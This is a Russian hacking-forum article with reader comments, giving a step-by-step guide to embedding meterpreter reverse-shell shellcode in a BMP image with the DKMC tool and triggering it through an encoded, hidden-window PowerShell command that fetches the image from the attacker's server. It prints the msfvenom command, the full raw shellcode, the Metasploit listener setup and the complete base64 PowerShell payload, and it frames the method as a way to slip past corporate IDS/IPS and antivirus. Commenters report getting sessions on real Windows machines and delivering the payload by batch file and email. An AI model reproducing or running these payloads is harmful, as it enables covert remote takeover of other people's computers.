Статья Внедряем шелл-код meterpreter в картинку BMP

Всем привет, сегодня расскажу как внедрить в картинку в формате bmp шелл-код для meterpreter. Для этой цели будем использовать утилиту под названием Don't Kill My Cat (DKMC).

logo.jpg


Краткий алгоритм:


1. Создается полезная нагрузка с meterpreter в формате RAW

2. С помощью DKMS полезная нагрузка конвертируется в специальный шелл-код, который внедряется в картинку.

4. Если пользователь скачает картинку с внедрённым шелл-кодом и откроет ее графическим редактором, то атака в этом случае не сработает, картинка откроется в стандартном режиме.

5. Для получения удаленного доступа через инфицированную картинку необходимо обратиться к внедрённому шелл-коду с помощью Powershell.

6. Для автоматизации процесса DKMS создает веб-сервер и генерирует команду Powershell, которая автоматически загрузит картинку на машину жертвы и запустит meterpreter.

Возникает вопрос, а для чего нужны такие сложности, неужели нельзя просто создать вирусный exe с обходом антивируса с помощью того же Veil Evanasion?

Дело в том, что в серьезных компаниях используются системы обнаружения и предотвращения вторжений, которые анализируют все передаваемые по сети файлы на предмет хакерских угроз. Эти системы по большей части анализируют только исполняемые файлы, документы word, динамические библиотеки, приложения Java и... мало какая система изучает файлы изображений! Поэтому этот способ позволяет незаметно от IDS/IPS донести вирусную нагрузку на машину жертвы.

Но у данный метод позволяет обходит антивирусные системы только частично. Но об этом в конце статьи.

Для тестирования нам потребуется 2 виртуальных машины:

- Kali Linux
- Машина с версией Windows не ниже 7

У меня машина с Kali имеет IP 192.168.232.131/24, вторая виртуалка на Windows 7 находится в той же подсети.

Создаем нагрузку в формате RAW с помощью msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp LPORT=4455 LHOST=192.168.232.131 -f raw -o /root/Desktop/virfile

msfvenom gen raw.jpg


Скачиваем любую картинку в формате bmp и сохраняем на рабочем столе.

Устанавливаем и запускаем Don't Kill My Cat:

git clone https://github.com/Mr-Un1k0d3r/DKMC.git
cd DKMS
mkdir output
сhmod +x dkmc.py
python dkmc.py

Далее, нам необходимо сформировать специальный шелл-код, выбираем опцию sc.

sc 1.jpg


Далее, нам необходимо указать путь к полезной нагрузке в формате RAW и сгенерировать шелл-код:

set source /root/Desktop/virfile
run

sc generate shell.jpg


Копируем полученный код в блокнот, он нам потребуется в следующем разделе, выходим в главное меню с помощью команды exit.

Далее, нам необходимо внедрить шелл-код в загруженную картинку, выбираем раздел gen.

gen.jpg


Устанавливаем значение переменной shellcode:

set shellcode \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\xe8\x83\x68\x02\x00\x11\x67\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5

Задаем значение переменной с путём к загруженной картинке в формате bmp:

set source /root/Desktop/test.bmp

Задаём путь для выходного файла:

set output output/virus.bmp

Запускаем генерацию вирусной картинки:

run

generate vir bmp.jpg

Теперь нам необходимо создать команду для Powershell, которую необходимо выполнить на машине жертвы. Возвращаемся в главное меню и заходим в раздел ps.

Задаем ссылку, по которой будет доступна наша картинка с шелл-кодом. В качестве IP необходимо указать адрес машины с kali:

set url
run

ps gen code.jpg


Сохраняем команду для Powershell в блокноте.

Далее, нам необходимо запустить веб-сервер, с которого жертва будет скачивать вирусную картинку. Возвращаемся в главное меню и заходим в раздел web.

Устанавливаем порт и запускаем веб-сервер:

set port 8080
run

web.jpg


После этого нам необходимо запустить листенер в Metasploit.

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 4455
set LHOST 192.168.232.131
run

msfconsole 1.jpg


Теперь на второй виртуальной машине запускаем Powershell и вставляем ранее сохраненную команду из раздела ps.

В моем примере это команда:
powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBDAE8AagByAHUAbABrAEMALwB6AEUAMQBNAEQAVQAwAE0AagBJAHoATQBUAEkAdQBOAEQAZwAhAHYAVgBaAHQAYgArAEkANABFAFAANQBlAHEAZgAvAEIAVwBpAEUAbABrAFUASwBXAHQAcQB0AFQAcgA5AEoASwBHAHkAagB0ADAAaQAyADAASgBYADEAbgAwAGMAbwBrAEUAMwBEAFgAcwBWAFAASABnAGIASQB2AC8ALwAzAEcASQBWAG0AbwBhAFAAYwA0ADMAZQBuAHkASgBZAGsAOQBNAHgANAAvADgAOAB4AGoAQgA2AEQAcgBnAFYAWQBzADEARgAwAFoAIQBhAGwAZgBnADgAcQBZAEYARwBSADMAZQAyAHQANwBxAHkAYQBPAFIAcgBQAHIAeAA4AG4AbwBVADkASwA4AEoAZQAvAEoAQgAyAHQANwBLADgANQBGAHEASQAxAEYAVQB3AGMAeQBPAHYATwBiADAAWABIAHYAdgBpAHUAdQBFAHQASABSAC8AWABhAG8AeQBQAGYAdABMAFYASQArADUAMQBUAFIAaABOAGkAMQBLAFYAVgBmAEUAaABuAGwASABGAHgAUwAvAEsAUgBLAGgAaABEAGwAQwBwAHkAbABjAFUAMwBOADIATAB6ADEAbABFAC8AcAAwADgATwBzAGQAZABQAE0ANwAyAFoAVQBYADMAWQBqAFgATgBjAGUAKwBHAGwANgBLAEIAUABLAHgAUABEAGcAbwBKAFUAcgBCAFUASQB2AC8AcgAxAGoAMABIADYAVwBRAFQATABpAEQARABMAGIASQBUAC8ASQB6AFEAUQBVADEATQA5AEcARAB4AEIAcQA4AHAAMwBVAHYAbgBqAEgAWABJADQAbwBMADgAMwBtAEwAUgBwAE8AYwBLAGUAKwBpAE0AegBjAHEAUQB5AHAAMgBZADgAWABwAEoAeABwADIALwByADgAMgBYAEkARwA5AFoAMgBoADEAMwA3AE0ASwBjADkAcwBLADUAaABuAEcAaABJAHYANAB0AHgAeQB5AEUALwBIAEwASABnADUAVAA4AEcAMgB1AGkAeABVAE0AcABPAHgAOQBtADYAWQAyAE4AdgAxAHIAawBSAEcAWQArAGgAaAB0AEMAbAAwAFEAVQA5AGsAbABGAG0ATwBnAGIASABhAG8AUQBLAGQASwAvAEgAcQBSAGsAMwBrAGgAWgA5AHQANABlAGMANQBZAHUAUgBIAGsAWQBJAE0AdwAzAGcAZABNAFoAVgBmAHcAYQA2AEoAbgBIAE8AWABmAEwAIQBIAFoAVgByADkAWABHAGkAVwAhAE0ANQByAFUARABJAE4AUQBFADEAWgBDAEoAbgAzAGsAWQBxAEkAUQB4AC8AaQBvAGQAMgBEAFcAWQBYAEcAcABrADcAMgBxAGgATgBhAG4AVwB2AGwAdQBGAGoASQB6AFQATAB2AEYAcQBWAGUAQgBMAE8AYwA5AGQAeABYACsATwBEAGcAcwA4AFkASgBCAE8AMgBuAHcAZQAwAFgAMQBVADcAdgA3AC8ATwB6AGIAdwArAFgARgA4AEcAbgBGACsAaQAxAEgASwBpAGUAUQBUAEUARAB1AEQAbgA3AFgARwBhAHMAaQBQAEcAZQBOAEYAegBTAHgAWgB5AG8AbABtAHEATwB2ADcAVgBMAGwAWQBNAHoASgAhAE4AVAB6AGMARgB3AFMARwBwADMALwBuADEANgAyAHIAdQA5ADYAcgB1AGIAaAB0AHkAcAAvAE4ARgBiAE4AUABQADQAeQBnACsAdgA3AHYAaABGAGcARgBPAEQAYQA4AG0AaQA0AFQATABRAE0AeQBiAFUASgBxADEAVwBCAHkANgBNADIAZQB2AE0AUABvAFMAWQBDAFQAaQBjAEMANQBxAHcAcwBDAEsAdgAvAFYASQA1AEkAZQBaAFEASQBPAFYAVgBaAGoAMwBNADEAYgBiAEsAQwBZAGcATwBnAGMATwBZAGEAbABNAE4AbAB3AHoAVwAzAGQAbwBKADAANwA5ADgAbQB6AG4AagBFAFMAZwAvAFIARQBwAGsAbQBCAFcAeQB4AFgAbQBlAHoASwBMACEAdAB0AFUAUgBYAFUAZwBRAHoAYwBXAC8AaABZAFcATQBzAFcAVwBnAHMAaQA3AGIAWgBGADYAdABiAHYANwBSAHkARwBwAHgAbQBtAFUAdQBPAGMAKwB4AFoAMABPAFgAQgBFACEANQBSAEMANwB4AFIAYwBiAEsASwBUAC8AWABzAHYAaQAwAGwAdQBsADIAYwA2ADUAWgBTAEQATgBkAGgAUgBzADYAYQA0AEMAVwBDADcAZQBrAHkATABUAEsAUQA2AHcAMABnAG4AIQBaAHAAQgAhAHkAeQBnADAAbQBMAHYAbgBJAEkAbQBqAE8AIQB6AGEAdQBFAHIAQgBlAFIASwBSAEYATwBXAGQAaQBqAEoARwBtAFcAQgBFAGMATQBVAGcARQAyAHYAQgBIAFkAYQA1AEwAcgBqAGgAZQAhAEwAcQBUAHAAQgB3AFMATgBDAHkAawA1AEkAagBUAE0AUQBwAEgAMgBXAFUARgA2ACsAZwBZAEkAdQB2AFYAZgBLAHYAZQBXAFQAUwBLAGcAYQBqAEMAWgBpAFYAYgByAEgAdgAhAHAAWABiAEoATgBWAE0AYQBwAGMAbgAhAHYAYwBxADUAZgA1ADkAVQBwAFUAOQBsAGIAaQAwAEYAWgBkAEgAcwBxAGkATQBIAHoAYgBrADIAdgBWAEkAVABaADEASAAzAHQAdABtAFoAeAA1ADIAYgAvAHAAMQBSADYASABWAFcAOQBnAEMARgBFAFUAWQB0ADEARwBXAGgAawBSAEoAeQBKAHIAaQBrADAAUwBIAFYAMQBIADQAegAwAFQAbwA5AGUAUAB0ADIANQA4ADkAZABiACsAZQBQAGYAVwA4AFgANQBYAE4AbgBiACsAZABnAHYANwBIAGYAZQBEAHQAbABLAHMAKwA4AFUAWgBLACsASwBYAHEAbQBsAHMAUwB6AHMAOABuAEoAdwA0AGoAbQA3AGUAWgBKADMAZwB1AFQAUgA5AE0AMwBmAHkATgBsAFgAYQBxAHkAQwBlAFYAWQBOAEIAUwBrAGkAagBGAEgAVQBoADIAVgBtAG4ASQB1AG0AZgBHAHcANwBkAGUATwBzAGEAKwBnAEIASABEAE0AQwA0AFcALwBnAHQAegBuAFgASQBaAEcAQwBGAGMARgBDAGIAVgA0AG8AWgBCAEQASgBOAEkAVgBmAHUANwB0AHYAdgBqAGwAawBGACsARwB6AGwASQBVAHEANgBHAEQAZwAzAHYATQAzADUAUgAwAEYAVgBuAHYARgBNAFIAWQBUADkAegBHADAAMQA2AGoAZwBmAHIAVgBlAEgAcgBYAFEARgAhADIAMwAzAHgATABwAG4AUAA3AGUAVQB6AFgAQwBPAEUATABvAEsANgB0AHoAWQB1ADEARgB6AFcAWQBIAFAAdABOADEAbQAvAC8ANwA4AEMAWABIAEoAegBnAEsAOQBvAFEAKwBPAFgAWQBiADIAWQAzAEsAawBiAEQAZgBRAG0AbQBOAGEAUABuACEALwArAG8AUABQADgARgBSAEQAZQBVAGEAWABRAE8AVQBLADAANABMAEYAcgB3AHQAMABpAFYAYgBGAHcANQBsADgAdgBpAEkAcwB2AGkAOABqAEgAWABxAEwATgBjADEAMwB0ADQAWQBtADkAdgBXAFIAOABNAEIAegBvAHgAVwBRAEUAbwBZADkALwB3AEQAZwBXAFAAWgBOADkAWgBQAFoASQB6AFQAWgBXAHUAUAA4AGcAUgBYAHIAeABTAGMAMgBMAGEATgBkAGIAdQBIAGwAOAAvADgAVABSAE8AMgBxAEYARABPAHUAMQBiADgAbQB5AEkALwBDAFIAMQBCAE0AcgBQADkAbgBiAHgAVABxAGIARwB1AFYARQBzADgAdgB6AG0AKwBZAFAATQBjAEoATgBGADIAQgArAGsARAB5AEgAZwBEAGEAdAArAEkAawBlAEYASwBnAEcAZQBPAEsAcwBwAEYAQwB1AHMAdQBxAFAAVgBYADEANwBmAFcAOQBqAG0AQwBnACEAIQAiAC4AUgBlAHAAbABhAGMAZQAoACIAIQAiACwAIAAiAEEAIgApACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==

Если операция прошла успешно, то веб-сервер покажет в логах факт загрузки картинки, а в Metasploit появится сессия meterpreter.

meterpreter.jpg


А теперь о том, как обстоят дела с антивирусом. Если просто загрузить картинку на машину жертвы, то Касперский Total Security в ней ничего не обнаружит. Проблема возникает при выполнении кода Powershell. Антивирус ругается на подозрительное действие команды и просто блокирует его выполнение. Если команду Powershell оформить в виде exe, как описано в статье "Powershell для хакера, часть 2", то Касперский обнаруживает угрозу Dangerous Pattern и удаляет файл. То есть до загрузки нашей картинки дело даже не доходит.

Avast Antivirus Free не видит никаких угроз, шелл-код отрабатывает успешно. С другими антивирусами тоже нужно тестить, кому интересно, тот займется.

А на этом все :)
 

Вложения

  • gen.jpg
    gen.jpg
    49,8 КБ · Просмотры: 301
Последнее редактирование модератором:
C

chyond

то есть если клиент просто скачает картинку с веб-сервера, и просмотрит ее, то нагрузка не запуститься? я правильно понял?
 
I

Inject0r

Правильно, нагрузка активируется командой через Powershell.
 
A

Azat868

Даже не могу представить в каких случаях это можно применить:confused:
Этот код для запуска в шелле, его как минимум нужно копипастить. Копипастить с носителя, или заранее из инета. Бред
 
I

Inject0r

Даже не могу представить в каких случаях это можно применить:confused:
Этот код для запуска в шелле, его как минимум нужно копипастить. Копипастить с носителя, или заранее из инета. Бред

Ответ уже дан в посте, это метод обхода IPS/IDS в крупных компаниях. Так как нагрузка в картинке не палится этими системами.

Техника не предусматривает отдельные друг от друга загрузку фотки на комп жертвы и доставку активирующего кода. Жертве нужно доставить только код активации, который автоматически загрузит картинку с веб-сервера атакующего. Предполагается, что нагрузка в картинке не запалится системами защиты.
 
  • Нравится
Реакции: Vertigo и <~DarkNode~>

TrevorReznik

Green Team
27.12.2016
14
21
BIT
0
Тестил на реальных тачках windows 7 обоих архитектур в обоих случаях получил сессию... нагрузку передавал батником. Контакт ругается на исполняемые файлы, мыло без проблем, только предупреждение от касперского, что фаил является исполняемым. Попробую получить сессию на компьютере за НАТом... только разгребу с работой.
[doublepost=1508744956,1508160546][/doublepost]За НАТом все работает. Получил сессию на 10 х64... защитник ругнулся на исполняемый фаил без подписи, ("подробнее" - "выполнить")
 
H

HoffmannSV

в msfconsole payload handler не запускается( и подключения после запуска батника нет(...
 

z3r0c10wn

Grey Team
04.09.2017
229
295
BIT
197
DKMC не тру, а вот тру - https://github.com/peewpw/Invoke-PSImage
Но палится и то и другое - ибо in-memory scan и все дела.
Но бомба - сама идея скрипта который вставляет байты сценария ps1 в пиксели png-изображения, наименее значимые 4 бита двух значений цвета в каждом пикселе используются для хранения полезной нагрузки.
 

Elektrolife

Green Team
21.10.2016
208
33
BIT
23
DKMC не тру, а вот тру - peewpw/Invoke-PSImage
Но палится и то и другое - ибо in-memory scan и все дела.
Но бомба - сама идея скрипта который вставляет байты сценария ps1 в пиксели png-изображения, наименее значимые 4 бита двух значений цвета в каждом пикселе используются для хранения полезной нагрузки.


Блин,не заработало ( Пробовал встраивать в картинку скрипт юникорна - отдельно скрипт работает,после сращивания сессия не прилетает (
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!